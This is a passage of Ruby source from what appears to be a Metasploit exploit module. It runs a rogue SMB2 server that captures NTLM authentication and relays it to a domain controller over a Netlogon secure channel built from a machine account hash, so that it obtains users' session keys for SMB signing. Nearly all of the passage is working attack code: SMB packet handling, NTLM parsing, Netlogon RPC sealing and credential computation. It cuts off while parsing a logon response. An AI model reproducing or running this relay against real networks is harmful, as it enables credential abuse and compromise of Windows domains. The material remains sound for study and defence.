        vprint_error("Rogue SMB accept error: #{e.message}")
      end
    end
  rescue => e
    vprint_error("Rogue SMB server error: #{e.message}")
  end

  def handle_smb_client(conn)
    peer = (conn.peeraddr[3] rescue nil)
    vprint_status("Rogue SMB: connection received from #{conn.peeraddr rescue 'unknown'}")
    @ca_connected = true if peer && peer != @listener_ip
    Thread.current[:cg_signing_key] = nil
    Thread.current[:cg_smb_challenge] = nil
    session_key = nil
    signing_key = nil
    is_signed = false
    smb2_negotiated = false

    loop do
      nb_data = conn.read(4)
      if nb_data.nil? || nb_data.length < 4
        vprint_status("Rogue SMB: client closed (no nb_data)")
        break
      end
      nb_len = nb_data.unpack('N')[0]
      if nb_len > 0x100000
        vprint_status("Rogue SMB: nb_len too large (#{nb_len})")
        break
      end

      pkt = conn.read(nb_len)
      if pkt.nil? || pkt.length < nb_len
        vprint_status("Rogue SMB: short read (#{pkt.nil? ? 'nil' : pkt.length} < #{nb_len})")
        break
      end
      if pkt[0, 4] == "\xff\x53\x4d\x42".b
        if smb2_negotiated
          vprint_status("Rogue SMB: ignoring duplicate SMB1 Negotiate")
          next
        end
        vprint_status("Rogue SMB: SMB1 Negotiate Request, responding with SMB2")
        handle_smb2_negotiate(conn, pkt, 0)
        smb2_negotiated = true
        next
      end

      if pkt.length < SMB2_HDR_SIZE
        vprint_status("Rogue SMB: packet too short (#{pkt.length} < #{SMB2_HDR_SIZE})")
        break
      end
      if pkt[0, 4] != SMB2_MAGIC
        vprint_status("Rogue SMB: bad magic: #{pkt[0, 4].unpack('H*')[0]}")
        break
      end

      command = pkt[12, 2].unpack('v')[0]
      msg_id = pkt[24, 8].unpack('Q<')[0]

      case command
      when 0x00 # NEGOTIATE
        unless smb2_negotiated
          handle_smb2_negotiate(conn, pkt, msg_id)
          smb2_negotiated = true
        else
          vprint_status("Rogue SMB: ignoring duplicate SMB2 Negotiate")
        end
      when 0x01 # SESSION_SETUP
        session_key, signing_key, is_signed = handle_smb2_session_setup(conn, pkt, msg_id)
      when 0x03 # TREE_CONNECT
        handle_smb2_tree_connect(conn, pkt, msg_id)
      when 0x05 # CREATE
        handle_smb2_create(conn, pkt, msg_id)
      when 0x08 # READ
        handle_smb2_read(conn, pkt, msg_id)
      when 0x09 # WRITE
        handle_smb2_write(conn, pkt, msg_id, session_key, signing_key, is_signed)
      when 0x06 # CLOSE
        handle_smb2_close(conn, pkt, msg_id)
      when 0x0B # IOCTL - was mapped to 0x10, which is actually QUERY_INFO
        handle_smb2_ioctl(conn, pkt, msg_id)
      when 0x02 # LOGOFF - was mapped to 0x0E, which is actually QUERY_DIRECTORY
        handle_smb2_logoff(conn, pkt, msg_id)
        break
      when 0x04 # TREE_DISCONNECT
        handle_smb2_tree_disconnect(conn, pkt, msg_id)
      else
        vprint_warning("Rogue SMB: unsupported command #{command} (0x#{command.to_s(16)})")
        session_id = pkt[40, 8].unpack('Q<')[0]
        tree_id = pkt[36, 4].unpack1('V')
        send_smb2_error(conn, msg_id, 0xC00000BB, session_id, command, tree_id)
      end
    end
  rescue EOFError, IOError, Errno::ECONNRESET, Errno::EPIPE => e
    vprint_status("Rogue SMB: client disconnected (#{e.class})")
  rescue => e
    print_error("Rogue SMB client error: #{e.class}: #{e.message}")
    vprint_error(e.backtrace.first(3).join("\n"))
  ensure
    conn.close rescue nil
  end

  def build_spnego_negotiate_init
    oid_ntlmssp = "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a".b
    oid_ntlmssp_encoded = "\x06".b + ber_encode_length(oid_ntlmssp.length) + oid_ntlmssp
    seq_of = "\x30".b + ber_encode_length(oid_ntlmssp_encoded.length) + oid_ntlmssp_encoded
    mech_types = "\xa0".b + ber_encode_length(seq_of.length) + seq_of
    inner_seq = "\x30".b + ber_encode_length(mech_types.length) + mech_types
    neg_token_init = "\xa0".b + ber_encode_length(inner_seq.length) + inner_seq

    oid_spnego = "\x06\x06\x2b\x06\x01\x05\x05\x02".b
    gssapi_content = oid_spnego + neg_token_init
    "\x60".b + ber_encode_length(gssapi_content.length) + gssapi_content
  end

  def handle_smb2_negotiate(conn, _pkt, msg_id)
    guid = SecureRandom.random_bytes(16)
    @smb2_session_id ||= rand(1..0xFFFFFFFFFFFFFFFF)

    @smb_pending_challenge = generate_ntlm_challenge

    spnego_init = build_spnego_negotiate_init

    body = ''.b
    body << [65].pack('v')     # StructureSize (2 bytes)
    body << [1].pack('v')      # SecurityMode (2 bytes)
    body << [0x0202].pack('v') # DialectRevision (2 bytes)
    body << [0].pack('v')      # Reserved
    body << guid               # ServerGuid (16 bytes)
    body << [0].pack('V')      # Capabilities
    body << [0x10000].pack('V')# MaxTransactSize
    body << [0x10000].pack('V')# MaxReadSize
    body << [0x10000].pack('V')# MaxWriteSize
    body << [0].pack('Q<')     # SystemTime
    body << [0].pack('Q<')     # ServerStartTime

    sec_offset = SMB2_HDR_SIZE + body.length + 8
    body << [sec_offset].pack('v')          # SecurityBufferOffset
    body << [spnego_init.length].pack('v')  # SecurityBufferLength
    body << [0].pack('V')                   # Reserved2

    hdr = build_smb2_header(0x0000, 0, 1, 0x0001, msg_id, 0, 0)

    resp = hdr + body + spnego_init
    vprint_status("Rogue SMB: NegotiateResponse #{resp.length}B (spnego #{spnego_init.length}B)")
    send_smb2_packet(conn, resp)
    vprint_good("Rogue SMB: NegotiateResponse sent (NegTokenInit, dialect 0x0202)")
  end

  def handle_smb2_session_setup(conn, pkt, msg_id)
    req_body = pkt[SMB2_HDR_SIZE..]
    security_buffer_offset = req_body[12, 2].unpack('v')[0] rescue 0
    security_buffer_length = req_body[14, 2].unpack('v')[0] rescue 0
    security_buffer = pkt[security_buffer_offset, security_buffer_length] rescue ''.b

    ntlm_blob = extract_ntlmssp(security_buffer)
    session_id = pkt[40, 8].unpack('Q<')[0]
    if ntlm_blob.nil?
      send_smb2_error(conn, msg_id, 0xC000000D, session_id) # STATUS_INVALID_PARAMETER
      return [nil, nil, false]
    end

    ntlm_type = ntlm_blob[8, 4].unpack('V')[0]

    if ntlm_type == 1
      vprint_status("Rogue SMB: NTLM type 1 -> sending challenge")
      challenge = @smb_pending_challenge || generate_ntlm_challenge
      @smb_pending_challenge = nil
      spnego = build_spnego_challenge(challenge)

      body = ''.b
      body << [9].pack('v')                      # StructureSize (SMB2 SESSION_SETUP Response)
      body << [0].pack('v')                      # SessionFlags
      body << [64 + 8].pack('v')                 # SecurityBufferOffset
      body << [spnego.length].pack('v')          # SecurityBufferLength
      body << spnego

      hdr = build_smb2_header(0x0001, 0xC0000016, 1, 0x0001, msg_id, 0, @smb2_session_id)
      resp = hdr + body
      send_smb2_packet(conn, resp)
      vprint_good("Rogue SMB: SessionSetup type 2 challenge sent")
      return nil, nil, false

    elsif ntlm_type == 3
      vprint_good("Rogue SMB: Received NTLMSSP_AUTHENTICATE")
      session_key, signing_key = relay_ntlm_auth(ntlm_blob)
      if session_key.nil?
        print_error('Rogue SMB: NTLM validation failed, rejecting session')
        send_smb2_error(conn, msg_id, 0xC000006D, session_id) # STATUS_LOGON_FAILURE
        return [nil, nil, false]
      end
      spnego = build_spnego_accept_completed

      body = ''.b
      body << [9].pack('v')                      # StructureSize
      body << [0].pack('v')                      # SessionFlags
      body << [SMB2_HDR_SIZE + 8].pack('v')      # SecurityBufferOffset
      body << [spnego.length].pack('v')          # SecurityBufferLength
      body << spnego

      Thread.current[:cg_signing_key] = signing_key
      vprint_good("Rogue SMB: signing enabled with #{signing_key.unpack1('H*')}")

      hdr = build_smb2_header(0x0001, 0, 1, 0x0001, msg_id, 0, session_id)
      resp = hdr + body
      send_smb2_packet(conn, resp)
      vprint_good("Rogue SMB: SessionSetupResponse (success)")
      return session_key, signing_key, true
    end

    send_smb2_error(conn, msg_id, 0xC0000016, session_id)
    return nil, nil, false
  end

  def extract_ntlmssp(buf)
    return buf if buf.nil? || buf.empty?
    return buf if buf.start_with?("NTLMSSP\x00".b)
    idx = buf.index("NTLMSSP\x00".b)
    return nil if idx.nil?
    buf[idx..]
  end

  def relay_ntlm_auth(ntlm_auth)
    lm_len = ntlm_auth[12, 2].unpack('v')[0]
    lm_off = ntlm_auth[16, 4].unpack('V')[0]
    lm_resp = ntlm_auth[lm_off, lm_len] rescue ''.b

    nt_len = ntlm_auth[20, 2].unpack('v')[0]
    nt_off = ntlm_auth[24, 4].unpack('V')[0]
    nt_resp = ntlm_auth[nt_off, nt_len] rescue ''.b

    dom_len = ntlm_auth[28, 2].unpack('v')[0]
    dom_off = ntlm_auth[32, 4].unpack('V')[0]
    domain = ntlm_auth[dom_off, dom_len] rescue ''.b

    usr_len = ntlm_auth[36, 2].unpack('v')[0]
    usr_off = ntlm_auth[40, 4].unpack('V')[0]
    user = ntlm_auth[usr_off, usr_len] rescue ''.b

    ws_len = ntlm_auth[44, 2].unpack('v')[0]
    ws_off = ntlm_auth[48, 4].unpack('V')[0]
    workstation = ntlm_auth[ws_off, ws_len] rescue ''.b

    vprint_good("Rogue SMB: NTLM user=#{user}, domain=#{domain}")
    vprint_good("Rogue SMB: NTLM relay for #{domain}\\#{user}")

    unless datastore['NTLM_VALIDATE']
      print_warning('Rogue SMB: NTLM_VALIDATE=false - accepting auth without validation')
      vprint_warning('Rogue SMB: no session key, so SMB signing is impossible from here on')
      return ["\x00".b * 16, nil]
    end

    challenge = Thread.current[:cg_smb_challenge] || @smb_challenge || ("\x00".b * 8)
    vprint_status("Rogue SMB: validating challenge=#{challenge.unpack1('H*')} " \
                  "user=#{nl_to_utf8(user)} domain=#{nl_to_utf8(domain)} " \
                  "nt=#{nt_resp.to_s.bytesize}B lm=#{lm_resp.to_s.bytesize}B")
    vprint_status("Rogue SMB: NTProofStr #{nt_resp.to_s[0, 16].unpack1('H*')}")

    relay_key = netlogon_relay(domain, user, lm_resp, nt_resp, challenge)
    return nil, nil if relay_key.nil?

    enc_len = ntlm_auth[52, 2].unpack1('v').to_i
    enc_off = ntlm_auth[56, 4].unpack1('V').to_i
    enc_key = (ntlm_auth[enc_off, enc_len] rescue nil)

    session_key =
      if enc_key && enc_key.bytesize == 16
        nl_rc4_encrypt(relay_key, enc_key)
      else
        relay_key
      end

    vprint_good("Rogue SMB: negotiated session key #{session_key.unpack1('H*')}")
    return session_key, session_key
  end

  def netlogon_relay(netlogon_domain, netlogon_user, netlogon_lm, netlogon_nt, netlogon_challenge)
    nl_oracle_setup
    sk = nl_oracle_validate(
      netlogon_domain,
      netlogon_user,
      netlogon_challenge,
      netlogon_nt,
      netlogon_lm
    )
    if sk
      vprint_good("Netlogon relay: validation succeeded for #{netlogon_domain}\\#{netlogon_user}")
      sk
    else
      print_error("Netlogon relay: validation failed for #{netlogon_domain}\\#{netlogon_user}")
      nl_oracle_reset
      nil
    end
  rescue => e
    report_dcerpc_fault(e, 'Netlogon relay')
    nl_oracle_reset
    nil
  end

  def report_dcerpc_fault(e, label)
    print_error("#{label} error: #{e.class}: #{e.message}")
    if e.respond_to?(:status_code) && e.status_code
      name = (e.status_name rescue nil)
      print_error("  fault status: 0x#{e.status_code.to_i.to_s(16).rjust(8, '0')}#{name ? " (#{name})" : ''}")
    end
    vprint_error(e.backtrace.first(8).join("\n"))
  end

  def nl_oracle_reset
    (@nl_sock.close rescue nil) if @nl_sock
    @nl_sock = nil
    @nl_sealed = false
    @nl_dcerpc = nil
    @nl_return_auth = nil
    @nl_session_key = nil
    @nl_auth_cred = nil
  end

  class NrpcString < RubySMB::Dcerpc::Ndr::NdrStruct
    default_parameters byte_align: 4
    endian :little

    ndr_uint16         :str_length
    ndr_uint16         :maximum_length
    ndr_byte_array_ptr :buffer

    def assign_bytes(val)
      val = val.to_s.b
      self.buffer = val
      self.str_length = val.bytesize
      self.maximum_length = val.bytesize
      self
    end
  end

  class NetlogonLogonIdentityInfo < RubySMB::Dcerpc::Ndr::NdrStruct
    default_parameters byte_align: 4
    endian :little

    rpc_unicode_string :logon_domain_name
    ndr_uint32         :parameter_control
    ndr_uint32         :reserved_low
    ndr_uint32         :reserved_high
    rpc_unicode_string :user_name
    rpc_unicode_string :workstation
  end

  class NetlogonNetworkInfo < RubySMB::Dcerpc::Ndr::NdrStruct
    default_parameters byte_align: 4
    endian :little

    netlogon_logon_identity_info :identity
    ndr_fixed_byte_array         :lm_challenge, initial_length: 8
    nrpc_string                  :nt_challenge_response
    nrpc_string                  :lm_challenge_response
  end

  class NetlogonNetworkInfoPtr < NetlogonNetworkInfo
    extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
  end

  class NetlogonAuthenticatorPtr < RubySMB::Dcerpc::Netlogon::NetlogonAuthenticator
    extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
  end

  class NetrLogonGetCapabilitiesRequest < BinData::Record
    attr_reader :opnum
    endian :little

    ndr_conf_var_wide_stringz :server_name
    ndr_wide_stringz_ptr      :computer_name
    netlogon_authenticator    :authenticator
    netlogon_authenticator    :return_authenticator
    ndr_uint32                :query_level

    def initialize_instance
      super
      @opnum = 21
    end
  end

  class NetrLogonSamLogonWithFlagsRequest < BinData::Record
    attr_reader :opnum
    endian :little

    ndr_wide_stringz_ptr       :logon_server
    ndr_wide_stringz_ptr       :computer_name
    netlogon_authenticator_ptr :authenticator
    netlogon_authenticator_ptr :return_authenticator
    ndr_enum                   :logon_level
    ndr_enum                   :logon_information_tag
    netlogon_network_info_ptr  :logon_network_transitive
    ndr_enum                   :validation_level
    ndr_uint32                 :extra_flags

    def initialize_instance
      super
      @opnum = 45
    end
  end

  class LsaQueryPolicyDnsResponse < BinData::Record
    endian :little

    ndr_uint32                   :info_ptr_refid
    ndr_uint32                   :policy_information_class
    lsapr_policy_dns_domain_info :info
    ndr_uint32                   :error_status
  end

  NL_SIGNATURE_HMAC_MD5 = 0x0077
  NL_SEAL_RC4           = 0x007A
  NL_AUTHN_NETLOGON     = 0x44
  NL_AUTHN_LEVEL_PRIVACY = 0x06

  NL_AUTH_MSG_NETBIOS_DOMAIN    = 0x01
  NL_AUTH_MSG_NETBIOS_HOST      = 0x02
  NL_AUTH_MSG_NETBIOS_HOST_UTF8 = 0x10

  NDR_TRANSFER_SYNTAX = '8a885d04-1ceb-11c9-9fe8-08002b104860'

  def nl_hmac_md5(key, data)
    OpenSSL::HMAC.digest(OpenSSL::Digest.new('MD5'), key, data)
  end

  def nl_rc4(key, data)
    c = OpenSSL::Cipher.new('RC4')
    c.encrypt
    c.key = key
    c.update(data) + c.final
  end

  def nl_derive_sequence(seq)
    low  = seq & 0xFFFFFFFF
    high = ((seq >> 32) & 0xFFFFFFFF) | 0x80000000
    [low, high].pack('NN')
  end

  def nl_signature_checksum(head8, message, confounder, key)
    md5 = OpenSSL::Digest::MD5.new
    md5 << ("\x00".b * 4)
    md5 << head8
    md5 << confounder
    md5 << message
    nl_hmac_md5(key, md5.digest)[0, 8]
  end

  def nl_crypt_sequence(seq_bytes, checksum, key)
    k = nl_hmac_md5(nl_hmac_md5(key, "\x00".b * 4), checksum)
    nl_rc4(k, seq_bytes)
  end

  def nl_seal_key(key, derived_seq)
    xor_key = key.b.bytes.map { |b| b ^ 0xF0 }.pack('C*')
    nl_hmac_md5(nl_hmac_md5(xor_key, "\x00".b * 4), derived_seq)
  end

  def nl_seal(data, confounder, seq, key)
    head = [NL_SIGNATURE_HMAC_MD5, NL_SEAL_RC4, 0xFFFF, 0x0000].pack('vvvv')
    checksum = nl_signature_checksum(head, data, confounder, key)
    derived  = nl_derive_sequence(seq)
    enc_seq  = nl_crypt_sequence(derived, checksum, key)

    sk = nl_seal_key(key, derived)
    sealed_confounder = nl_rc4(sk, confounder)
    sealed_data       = nl_rc4(sk, data)

    [sealed_data, head + enc_seq + checksum + sealed_confounder]
  end

  def nl_unseal(data, auth_value, key)
    enc_seq  = auth_value[8, 8]
    checksum = auth_value[16, 8]
    confound = auth_value[24, 8]
    derived  = nl_crypt_sequence(enc_seq, checksum, key)
    sk = nl_seal_key(key, derived)
    nl_rc4(sk, confound)
    nl_rc4(sk, data)
  end

  def nl_auth_message(domain, host)
    flags = NL_AUTH_MSG_NETBIOS_HOST | NL_AUTH_MSG_NETBIOS_DOMAIN
    buf = domain.b + "\x00".b + host.b + "\x00".b
    flags |= NL_AUTH_MSG_NETBIOS_HOST_UTF8
    buf += [host.bytesize].pack('C') + host.b + "\x00".b
    [0, flags].pack('VV') + buf
  end

  def nl_uuid_bin(str)
    p = str.delete('-')
    [p[0, 8].to_i(16)].pack('V') +
      [p[8, 4].to_i(16)].pack('v') +
      [p[12, 4].to_i(16)].pack('v') +
      [p[16, 4]].pack('H*') +
      [p[20, 12]].pack('H*')
  end

  def nl_ptr(field)
    field.instantiate_referent if field.respond_to?(:is_null_ptr?) && field.is_null_ptr?
    field
  end

  def nl_to_utf8(str)
    s = str.to_s
    return '' if s.empty?
    return s unless s.include?("\x00")
    s.b.dup.force_encoding('UTF-16LE').encode('UTF-8', invalid: :replace, undef: :replace)
  rescue StandardError
    s.b.delete("\x00")
  end

  def nl_rpc(name, **kwargs)
    req = RubySMB::Dcerpc::Netlogon.const_get("#{name}Request").new(**kwargs)
    raw = nl_call(req.opnum, req.to_binary_s)
    fail("#{name}: empty response") if raw.nil? || raw.empty?
    RubySMB::Dcerpc::Netlogon.const_get("#{name}Response").read(raw)
  end

  def nl_primary_name
    "\\\\#{(@target_dc || '').chomp('$')}"
  end

  def nl_bind_netlogon
    uuid = RubySMB::Dcerpc::Netlogon::UUID.dup
    saved_rport = datastore['RPORT']

    begin
      datastore['RHOST'] = datastore['DC_IP']
      datastore['RPORT'] = 135
      nl_drop_stale_socket

      port = dcerpc_endpoint_find_tcp(datastore['DC_IP'], uuid, '1.0', 'ncacn_ip_tcp')
      fail('Could not locate the Netlogon RPC endpoint via the endpoint mapper') unless port
      vprint_status("  Netlogon endpoint: #{datastore['DC_IP']}:#{port}")
    ensure
      datastore['RPORT'] = saved_rport
    end

    @nl_sock = Rex::Socket::Tcp.create(
      'PeerHost' => datastore['DC_IP'],
      'PeerPort' => port,
      'ConnectTimeout' => 10,
      'Context' => { 'Msf' => framework, 'MsfExploit' => self }
    )
    @nl_call_id = 1
    @nl_seq = 0
    @nl_sealed = false
    nl_rpc_bind(uuid, alter: false, auth: nil)
    @nl_dcerpc = :own
  end

  def nl_enable_sealing
    return if @nl_sealed
    auth = nl_auth_message(domain_short, @nl_comp_name_flat.upcase)
    nl_rpc_bind(RubySMB::Dcerpc::Netlogon::UUID.dup, alter: true, auth: auth)
    @nl_sealed = true
    @nl_seq = 0
    vprint_good('  Netlogon: RPC sealing enabled (RPC_C_AUTHN_NETLOGON)')
  end

  def nl_rpc_bind(uuid, alter:, auth:)
    body = ''.b
    body << [4280, 4280].pack('vv')      # max xmit / recv frag
    body << [0].pack('V')                # assoc group id
    body << [1, 0, 0].pack('CCv')        # num_ctx_items, reserved, reserved2
    body << [0, 1, 0].pack('vCC')        # p_cont_id, n_transfer_syn, reserved
    body << nl_uuid_bin(uuid) << [1, 0].pack('vv')
    body << nl_uuid_bin(NDR_TRANSFER_SYNTAX) << [2, 0].pack('vv')

    trailer = ''.b
    if auth
      trailer << [NL_AUTHN_NETLOGON, NL_AUTHN_LEVEL_PRIVACY, 0, 0].pack('CCCC')
      trailer << [0].pack('V')           # auth_context_id
      trailer << auth
    end

    ptype = alter ? 14 : 11
    pkt = nl_rpc_header(ptype, body.bytesize + trailer.bytesize, auth ? auth.bytesize : 0)
    pkt << body << trailer
    @nl_sock.put(pkt)

    resp = nl_rpc_read
    ack_type = resp[2].ord
    expected = alter ? 15 : 12
    unless ack_type == expected
      fail("Netlogon #{alter ? 'alter_context' : 'bind'} rejected (ptype #{ack_type})")
    end
    resp
  end

  def nl_rpc_header(ptype, body_len, auth_len)
    hdr = ''.b
    hdr << [5, 0, ptype, 0x03].pack('CCCC')       # ver, minor, ptype, FIRST|LAST
    hdr << [0x10, 0, 0, 0].pack('CCCC')           # drep: little-endian, ASCII
    hdr << [16 + body_len, auth_len].pack('vv')
    hdr << [@nl_call_id].pack('V')
    hdr
  end

  def nl_rpc_read
    head = @nl_sock.timed_read(16, 30)
    fail('Netlogon RPC: short header') if head.nil? || head.bytesize < 16
    frag = head[8, 2].unpack1('v')
    rest = ''.b
    while rest.bytesize < frag - 16
      chunk = @nl_sock.timed_read(frag - 16 - rest.bytesize, 30)
      fail('Netlogon RPC: truncated fragment') if chunk.nil? || chunk.empty?
      rest << chunk
    end
    head + rest
  end

  def nl_call(opnum, stub)
    @nl_call_id += 1
    stub = stub.b

    if @nl_sealed
      pad = (4 - (stub.bytesize % 4)) % 4
      plain = stub + ("\xBB".b * pad)
      confounder = SecureRandom.random_bytes(8)
      sealed, signature = nl_seal(plain, confounder, @nl_seq, @nl_session_key)
      @nl_seq += 1

      body = [sealed.bytesize, 0, opnum].pack('Vvv') + sealed
      trailer = [NL_AUTHN_NETLOGON, NL_AUTHN_LEVEL_PRIVACY, pad, 0].pack('CCCC') +
                [0].pack('V') + signature
      pkt = nl_rpc_header(0, body.bytesize + trailer.bytesize, signature.bytesize)
      @nl_sock.put(pkt + body + trailer)
    else
      body = [stub.bytesize, 0, opnum].pack('Vvv') + stub
      @nl_sock.put(nl_rpc_header(0, body.bytesize, 0) + body)
    end

    resp = nl_rpc_read
    ptype = resp[2].ord
    if ptype == 3 # FAULT
      status = resp[24, 4].to_s.unpack1('V').to_i
      fail("Netlogon DCERPC fault 0x#{status.to_s(16).rjust(8, '0')}")
    end
    fail("Netlogon RPC: unexpected ptype #{ptype}") unless ptype == 2

    auth_len = resp[10, 2].unpack1('v')
    data = resp[24..] || ''.b
    vprint_status("  RPC resp ptype=#{ptype} frag=#{resp.bytesize} auth_len=#{auth_len} body=#{data.bytesize}")
    return data if auth_len.zero?

    if data.bytesize < auth_len + 8
      fail("Netlogon RPC: body #{data.bytesize}B too short for #{auth_len}B verifier")
    end

    auth_value  = data[-auth_len..]
    sec_trailer = data[-(auth_len + 8), 8]
    sec_pad     = sec_trailer[2].ord
    sealed      = data[0, data.bytesize - auth_len - 8]

    plain = nl_unseal(sealed, auth_value, @nl_session_key)
    @nl_seq += 1
    return plain if sec_pad.zero? || sec_pad >= plain.bytesize

    plain[0, plain.bytesize - sec_pad]
  end

  def nl_drop_stale_socket
    disconnect
  rescue StandardError
    nil
  ensure
    self.sock = nil
  end

  def nl_oracle_setup
    return if @nl_dcerpc

    @nl_comp_name_flat = @computer_name.chomp('$')
    @nl_comp_nt_bin = [@computer_ntlm_hash].pack('H*')
    @nl_auth_ts = 0

    nl_bind_netlogon

    @nl_client_challenge = SecureRandom.random_bytes(8)
    vprint_status("  Netlogon: NetrServerReqChallenge for #{@nl_comp_name_flat}")
    rc = nl_rpc('NetrServerReqChallenge',
                primary_name: nl_primary_name,
                computer_name: @nl_comp_name_flat,
                client_challenge: @nl_client_challenge)
    unless rc.error_status.to_i.zero?
      fail("NetrServerReqChallenge failed: 0x#{rc.error_status.to_i.to_s(16).rjust(8, '0')}")
    end
    @nl_server_challenge = rc.server_challenge.to_binary_s

    @nl_session_key = nl_session_key_strong(@nl_comp_nt_bin, @nl_client_challenge, @nl_server_challenge)
    @nl_credential = nl_compute_credential(@nl_client_challenge, @nl_session_key)

    vprint_status("  Netlogon: NetrServerAuthenticate3 for #{@computer_name}")
    a3 = nl_rpc('NetrServerAuthenticate3',
                primary_name: nl_primary_name,
                account_name: @computer_name,
                secure_channel_type: :WorkstationSecureChannel,
                computer_name: @nl_comp_name_flat,
                client_credential: @nl_credential,
                flags: NETLOGON_NEGOTIATE_FLAGS)
    unless a3.error_status.to_i.zero?
      fail("NetrServerAuthenticate3 refused: 0x#{a3.error_status.to_i.to_s(16).rjust(8, '0')}")
    end

    expected = nl_compute_credential(@nl_server_challenge, @nl_session_key)
    if a3.server_credential.to_binary_s == expected
      vprint_good('  Netlogon: server credential verified - session key chain is correct')
    else
      vprint_warning('  Netlogon: server credential MISMATCH (got ' \
                     "#{a3.server_credential.to_binary_s.unpack1('H*')}, expected #{expected.unpack1('H*')})")
    end

    @nl_auth_cred = @nl_credential.dup
    @nl_auth_ts = Time.now.to_i

    vprint_good("  Netlogon: secure channel established (flags 0x#{a3.negotiate_flags.to_i.to_s(16)})")

    nl_enable_sealing

    nl_get_capabilities
  end

  def nl_get_capabilities
    ac = nl_compute_auth
    req = NetrLogonGetCapabilitiesRequest.new
    req.server_name   = ''
    req.computer_name = @nl_comp_name_flat
    req.authenticator.credential = ac[:auth][0, 8]
    req.authenticator.timestamp  = @nl_auth_ts
    req.return_authenticator.credential = "\x00".b * 8
    req.return_authenticator.timestamp  = 0
    req.query_level = 1

    raw = nl_call(req.opnum, req.to_binary_s).to_s
    vprint_status("  Netlogon: GetCapabilities resp #{raw.bytesize}B")

    if raw.bytesize < 4
      print_error("  Netlogon: GetCapabilities body too short (#{raw.bytesize}B) to hold an NTSTATUS")
      return
    end

    status = raw[-4, 4].unpack1('V')
    unless status.zero?
      name = (::WindowsError::NTStatus.find_by_retval(status).first&.name rescue nil)
      print_error("  Netlogon: GetCapabilities rejected 0x#{status.to_s(16).rjust(8, '0')}#{name ? " (#{name})" : ''}")
      return
    end

    vprint_good('  Netlogon: GetCapabilities STATUS_SUCCESS')

    cand = raw[0, 12].to_s
    if cand.bytesize == 12 && cand != ("\x00".b * 12)
      @nl_return_auth = cand
      vprint_status("  Netlogon: cached ReturnAuthenticator #{cand.unpack1('H*')}")
    end
  rescue StandardError => e
    print_warning("  Netlogon: GetCapabilities failed (#{e.class}: #{e.message})")
  end

  def nl_oracle_validate(netlogon_domain, netlogon_user, netlogon_challenge, nt_resp, lm_resp)
    nl_oracle_setup

    @nl_auth_ts = Time.now.to_i
    ac = nl_compute_auth

    domain = nl_to_utf8(netlogon_domain)
    user   = nl_to_utf8(netlogon_user)

    req = NetrLogonSamLogonWithFlagsRequest.new
    req.logon_server = ''
    req.computer_name = @nl_comp_name_flat

    if @nl_return_auth
      nl_ptr(req.authenticator).credential = @nl_return_auth[0, 8]
      req.authenticator.timestamp = @nl_return_auth[8, 4].unpack1('V')
    else
      nl_ptr(req.authenticator).credential = ac[:auth][0, 8]
      req.authenticator.timestamp = @nl_auth_ts
    end
    nl_ptr(req.return_authenticator).credential = "\x00".b * 8
    req.return_authenticator.timestamp = 0

    req.logon_level      = NETLOGON_NETWORK_TRANSITIVE_INFORMATION
    req.validation_level = NETLOGON_VALIDATION_SAM_INFO4
    req.extra_flags      = 0

    req.logon_information_tag = NETLOGON_NETWORK_TRANSITIVE_INFORMATION
    net = nl_ptr(req.logon_network_transitive)
    net.identity.logon_domain_name = domain
    net.identity.parameter_control = 0x800 | 0x20
    net.identity.reserved_low  = 0
    net.identity.reserved_high = 0
    net.identity.user_name = user
    net.identity.workstation = ''
    net.lm_challenge = netlogon_challenge
    net.nt_challenge_response.assign_bytes(nt_resp || ''.b)
    net.lm_challenge_response.assign_bytes(lm_resp || ''.b)

    vprint_status("  Netlogon: NetrLogonSamLogonWithFlags for #{domain}\\#{user}")
    stub = req.to_binary_s
    vprint_status("  SamLogon stub (#{stub.bytesize}B): #{stub.unpack1('H*')}")
    resp = nl_call(req.opnum, stub)
    nl_parse_samlogon(resp)
  rescue => e
    report_dcerpc_fault(e, '  Netlogon validate')
    nil
  end

  private

  def nl_rc4_encrypt(key, data)
    c = OpenSSL::Cipher.new('rc4')
    c.encrypt; c.key = key
    c.update(data) + c.final
  rescue OpenSSL::Cipher::CipherError
    c = OpenSSL::Cipher.new('rc4')
    c.decrypt; c.key = key
    c.update(data) + c.final
  end

  def nl_session_key_strong(nt_hash_bin, client_challenge, server_challenge)
    inner = OpenSSL::Digest::MD5.digest("\x00".b * 4 + client_challenge + server_challenge)
    OpenSSL::HMAC.digest(OpenSSL::Digest.new('MD5'), nt_hash_bin, inner)
  end

  def nl_compute_credential(input8, session_key)
    k3 = nl_transform_key(session_key[0, 7])
    k4 = nl_transform_key(session_key[7, 7])
    nl_des_ecb(k4, nl_des_ecb(k3, input8))
  end

  def nl_transform_key(key7)
    k = key7.b.bytes
    out = []
    out << (k[0] >> 1)
    out << (((k[0] & 0x01) << 6) | (k[1] >> 2))
    out << (((k[1] & 0x03) << 5) | (k[2] >> 3))
    out << (((k[2] & 0x07) << 4) | (k[3] >> 4))
    out << (((k[3] & 0x0F) << 3) | (k[4] >> 5))
    out << (((k[4] & 0x1F) << 2) | (k[5] >> 6))
    out << (((k[5] & 0x3F) << 1) | (k[6] >> 7))
    out << (k[6] & 0x7F)
    out.map { |b| (b << 1) & 0xFE }.pack('C*')
  end

  def nl_des_ecb(key, data)
    c = OpenSSL::Cipher.new('DES-ECB')
    c.encrypt
    c.key = key
    c.padding = 0
    c.update(data) + c.final
  end

  def nl_compute_auth
    ts = @nl_auth_ts
    low = @nl_auth_cred[0, 4].unpack1('V')
    seed_low = (low + ts) & 0xFFFFFFFF
    seed = [seed_low].pack('V') + @nl_auth_cred[4, 4]
    cred = nl_compute_credential(seed, @nl_session_key)
    @nl_auth_cred = [(seed_low + 1) & 0xFFFFFFFF].pack('V') + @nl_auth_cred[4, 4]
    { auth: cred + [ts].pack('V'), ret_auth: "\x00".b * 12 }
  end

  def nl_parse_samlogon(resp)
    return nil if resp.nil? || resp.length < 4
    err = resp[-4, 4].unpack1('V')
    unless err.zero?
      name = (::WindowsError::NTStatus.find_by_retval(err).first&.name rescue nil)
      print_error("  Netlogon: SamLogon failed 0x#{err.to_s(16).rjust(8, '0')}#{name ? " (#{name})" : ''}")
      return nil
    end
    vprint_good('  Netlogon: SamLogon returned STATUS_SUCCESS')

    @nl_return_auth = resp[4, 12] if resp.bytesize >= 16

    off = 16 + 8 + 120
    if resp.length < off + 16
      vprint_warning("  Netlogon: response too short (#{resp.length}B) to locate UserSessionKey")
